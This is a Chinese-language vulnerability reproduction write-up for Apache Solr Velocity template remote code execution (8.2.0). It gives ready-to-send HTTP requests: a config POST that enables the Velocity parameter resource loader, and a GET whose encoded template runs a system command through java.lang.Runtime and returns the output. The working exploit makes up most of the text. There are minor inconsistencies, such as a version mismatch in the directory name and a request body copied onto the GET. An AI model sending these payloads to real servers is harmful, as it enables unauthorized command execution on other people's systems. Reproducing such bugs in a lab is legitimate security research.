Apache Solr Velocity[漏洞复现]

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Apache Solr Velocity模板远程代码执行
CVE编号 暂无
漏洞威胁等级 高危
影响范围
包括但不限于8.2.0(最新版本)
漏洞复现

环境准备

下载最新的Solr
链接https://mirrors.tuna.tsinghua.edu.cn/apache/lucene/solr/8.2.0/solr-8.2.0.zip
解压以后,进入solr-8.1.0/bin目录
使用./solr -e dih -force开启示例app
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随后访问http://127.0.0.1:8983/solr/#/进入主界面
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点击左侧的Core Selector查看集合名称
image.png
使用如下两个payload
1.修改源码包

POST /solr/db/config HTTP/1.1
Host: 192.168.0.54:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 263

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

2.命令执行

GET /solr/db/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.0.54:8983
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36
Referer: http://206.189.43.186:8081/solr/
Accept-Encoding: gzip, deflate
Content-Type: application/json
Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6
Connection: close
Content-Length: 263

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

参考
https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt
https://lucene.apache.org/solr/